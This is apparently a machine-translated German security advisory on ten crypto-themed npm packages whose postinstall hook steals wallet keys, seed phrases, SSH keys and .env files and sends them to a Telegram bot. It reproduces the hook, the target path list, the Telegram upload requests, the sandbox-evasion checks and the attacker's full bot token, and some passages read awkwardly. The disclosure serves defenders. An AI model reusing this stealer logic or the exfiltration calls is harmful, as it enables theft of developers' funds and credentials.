TL; DR
Am 9. Juni 2026 wird ein einzelnes npm-Publisher-Konto erstellt. aicrypto-xzggg, versendet zehn Pakete mit Namen, die an Krypto und Web3 erinnern — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9und sechs weitere.
Jedes Paket führt die gleiche Nutzlast von einem postinstall Hook. Bei der Installation prüft es, ob es in einer CI-Umgebung oder einer Sandbox läuft – falls nicht, liest es Wallet-Keystores, Seed-Phrasen-Dateien, SSH-Schlüssel und .env Dateien aus sechs verschiedenen Blockchain-Ökosystemen werden gesammelt und an einen Telegram-Bot übermittelt.
Der einzige Indikator, nach dem ein Verteidiger sofort suchen kann, ist die Telegram-Bot-ID. 8227918239.
Severity: kritischem — direkter Diebstahl von Signaturschlüsseln und Wiederherstellungsphrasen von Entwickler-Workstations.
Der Angriff: Wie er funktioniert
Die Pakete bewerben sich selbst als Blockchain-Entwickler-Dienstprogramme. paket.json ist minimal und verweist den Installationslebenszyklus auf ein Skript:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" }scripts/postinstall.js ist ein einzeiliger Shim, der die eigentliche Nutzlast lädt: require("../src/index.js"). weil Nachinstallation läuft automatisch während npm installierenEs ist kein Codeimport durch den Entwickler erforderlich – es genügt, das Paket in einen Abhängigkeitsbaum einzufügen, um es auszuführen.
Die Tötungskette im Inneren src / index.js besteht aus vier Schritten:
- Umgebungsprüfung. Eine Schutzfunktion entscheidet, ob der Host wie ein Build-Agent oder eine Analyse-Sandbox aussieht.
- Verzögern. Die Ausführung wird verzögert setTimeout von ungefähr 7.4 Sekunden.
- Kollektion. Es wird eine feste Liste von Dateipfaden für Wallet, Schlüssel und Geheimnisse durchlaufen; vorhandene Dateien werden in eine Warteschlange gestellt.
- Exfiltration. Die in der Warteschlange befindlichen Dateien werden zusammen mit einer vorangestellten Zusammenfassungsnachricht an einen Telegram-Bot gesendet.
Die Liste der Sammlungsziele umfasst sechs Ketten sowie allgemeine Entwicklergeheimnisse. Gekürzt:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localInsgesamt einundzwanzig Pfade. Verzeichniseinträge wie beispielsweise ~/.ethereum/keystore werden entpackt und jede darin enthaltene Datei wird in eine Warteschlange gestellt. Die Datenexfiltration nutzt direkt die Telegram Bot API – eine Nachricht senden Anruf mit Host- und Dateizusammenfassung, dann ein sendDoc Mehrteil-Upload für jede Datei:
Text
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file)Die vom Code erstellte Zusammenfassungsmeldung beginnt mit der Zeichenkette Kryptodiebgefolgt von Hostname, Benutzername, Ursprungspaketname, Dateianzahl und Zeitstempel.
Was ist hier neu?
Der entscheidende Unterschied liegt nicht im Diebstahlmechanismus – dem Telegram-basierten Datenexfiltrierungsprozess von npm. Nachinstallation hooks ist viel begangen. Es ist der Ausführungstor. Bevor irgendetwas passiert, ruft die Payload eine Funktion auf, die „true“ zurückgibt, wenn der Host einem CI-Runner oder einer Sandbox ähnelt, und frühzeitig zurückkehrt, wenn dies der Fall ist:
Text
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape)Der reguläre Ausdruck für die Container-ID ist die bemerkenswerte Klausel: Ein 12-stelliger Hexadezimal-Hostname ist die Standardform, die Docker einem Container zuweist. ContainerDie Payload interpretiert die Tatsache, dass der Hostname einem Docker-Container ähnelt, als Grund, im Ruhezustand zu bleiben. In Kombination mit der siebensekündigen Verzögerung begünstigt das Design die Ausführung auf der realen Workstation eines Entwicklers und verhindert, dass Aktivitäten auffallen, die auf eine automatisierte Analyse hindeuten. Diese Barriere unterdrückte dynamische Analysesignale und sicherte den statischen Exfiltrationsfluss als primäres Beweismittel.
Geschichte
| Datum (UTC) | Event |
|---|---|
| 2026-06-09 ~02:48 | Erste Pakete im Cluster, die bei der Veröffentlichung als gekennzeichnet wurden (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Mitglieder mit höheren Versionsnummern wurden markiert (ethereum-kit-9 bei 1.25.36, wallet-sdk-9 um 3.7.73 Uhr) |
| 2026-06-09 ~03:58–03:59 | Letzte Mitglieder markiert (defi-tools-39 bei 4.26.29, swap-sdk-87 bei 4.63.78, farming-tools-12 um 4.68.54 Uhr) |
| 2026-06-09 | Alle zehn wurden als bösartig eingestuft und zur Entfernung aus der Registry gemeldet. |
Alle zehn tauchten innerhalb von etwa siebzig Minuten auf, was mit einem einzigen, geplanten Veröffentlichungsvorgang von einem einzigen Account übereinstimmt.
Kompromissindikatoren
Netzwerk- und Verhaltensindikatoren (Host entschärft):
| Indikator | Wert |
|---|---|
| Exfil-Endpunkt | api[.]telegram[.]org (Telegram Bot API) |
| Telegram-Bot-ID | 8227918239 |
| Bot-Token | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| Telegram-Chat-ID | 6433587894 |
| Haken montieren | postinstall → scripts/postinstall.js → src/index.js |
| Markierungszeichenkette | CRYPTO STEALER in der zusammengefassten Nachricht |
| Publisher | aicrypto-xzggg (angegebene E-Mail) vipsyria88@gmail[.]com(unbestätigt) |
Pakete und Versionen, jeweils mit dem SHA-256-Hash ihrer src / index.js Nutzdaten (die Nutzdaten sind funktional identisch und unterscheiden sich nur in der eingebetteten Paketnamensbezeichnung, daher ist jeder Hash eindeutig):
| Verpackung | Version | SHA-256-Hash von src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Eine einfache Suchabfrage: Durchsuchen Sie Installationsprotokolle und Sperrdateien nach einem der zehn Namen und durchsuchen Sie den ausgehenden Datenverkehr nach Verbindungen zur Telegram Bot API von Build- oder Entwickler-Hosts, die diese sonst nicht verwenden.
Attribution und beobachtetes Verhalten
Alle zehn Pakete wurden von einem einzigen Account veröffentlicht. aicrypto-xzggg, dessen angegebene E-Mail-Adresse lautet vipsyria88@gmail[.]comSowohl die E-Mail-Adresse als auch der Link zur Quellcodeverwaltung sind in den Metadaten der Registry nicht verifiziert, und das Konto hat eine stark negative Reputation. Wir konnten nicht bestätigen, wer das Konto betreibt.
Zwei Details sind von jeder Identitätsbehauptung zu trennen. Erstens, die paket.json Autor Feld liest Alex Smith auf jedem Paket, während das eigentliche Veröffentlichungskonto ist aicrypto-xzgggDas Autorenfeld enthält selbstdeklarierte Metadaten und belegt keine Autorschaft. Zweitens variieren die Versionsnummern stark – einige Mitglieder befinden sich auf 1.0.0, andere bei 4.68.54 — was mit der Wiederverwendung einer einzigen Nutzlast für neu vergebene Paketnamen übereinstimmt, anstatt echte Versionshistorien zu pflegen.
Das Verhalten ist im gesamten Cluster einheitlich: dieselbe Zielpfadliste, dieselbe Telegram-Bot-ID und Chat-ID, dasselbe Umgebungsgate, dasselbe Kryptodieb Kennzeichen. Diese Einheitlichkeit ist das stärkste Bindeglied zwischen den Paketen. Es handelt sich um ein Signal des gleichen Operators, nicht um eine Identität.
Auswirkungen, Trends und Leitlinien für Verteidiger
Die Gefährdung ist konkret. Installiert ein Entwickler eines dieser Pakete auf einer Workstation, die eine Software-Wallet, eine Seed-Phrase-Datei oder einen SSH-Schlüssel enthält, werden diese Dateien innerhalb von Sekunden ausgelesen und vom Host übertragen. Wiederherstellungsphrasen und Signaturschlüssel verfallen nicht wie ein Sitzungstoken; sobald ein mnemonic.txt oder eine Solana id.json Verlässt der Automat die Maschine, sind die darin enthaltenen Gelder gefährdet, bis sie transferiert werden. Derselbe Lauf erfasst auch .env Dateien, die üblicherweise API-Schlüssel und Datenbankzugangsdaten enthalten.
Hinter diesem Cluster stehen zwei Trends. Erstens die anhaltende Verwendung von Namen mit Bezug zu Kryptografie und Web3, um eine spezifische Zielgruppe anzusprechen – Entwickler, die Wallets und Schlüssel auf demselben Rechner speichern, auf dem sie Abhängigkeiten installieren. Zweitens die zunehmende Ausgereiftheit von Methoden zur Sandbox-Umgehung in Installations-Payloads. Eine Überprüfung von CI-Umgebungsvariablen, Runner-Benutzernamen und der Struktur des Docker-Container-ID-Hostnamens ist ein bewusster Versuch, sich bei der Analyse anders zu verhalten als auf einer realen Workstation, und erhöht die Anforderungen an die rein dynamische Erkennung.
Für Verteidiger:
Installation mit standardmäßig deaktivierten Skripten. npm install --ignore-scripts, oder set ignore-scripts=true in .npmrcverhindert Nachinstallation Ausführung; Skripte nur für die spezifischen Abhängigkeiten aktivieren, die sie tatsächlich benötigen.
Bewahren Sie Wallets und Signaturschlüssel auf getrennten Build- und Entwicklungsrechnern auf. Verwenden Sie eine Hardware-Wallet oder einen dedizierten, unabhängigen Signaturhost.
BEHANDELN .envBehandeln Sie Schlüsselspeicher und Seed-Phrasen-Dateien wie Kronjuwelen. Sie sollten niemals in einem Verzeichnis abgelegt werden, das auch ein npm installieren Arbeitsbaum.
Suchen Sie nach ausgehenden Verbindungen zur Telegram Bot API von CI- und Entwickler-Hosts. Die meisten Build-Umgebungen rufen sie nie auf; eine, die dies plötzlich direkt nach der Installation tut, sollte untersucht werden.
Abhängigkeiten anheften und überprüfen. Ein brandneues Paket mit einem generischen Kryptonamen, ein Nachinstallation Hook und kein Repository-Link rechtfertigen eine Überprüfung, bevor sie in eine Sperrdatei gelangen.
Die Klausel zur Container-ID-Umgehung dient Analysten auch als Erinnerung: Eine Installationsnutzlast, die in einer Sandbox inaktiv bleibt, ist nicht harmlos, sondern selektiv. Die statische Überprüfung des Installationspfads ist weiterhin die zuverlässigste Methode, um zu erkennen, was bei dynamischer Ausführung möglicherweise nicht angezeigt wird.
Referenzen
npm install-Dokumentation – Lebenszyklusskripte und –Ignore-Skripte— Referenz zum Deaktivieren der automatischen Installation hooks.






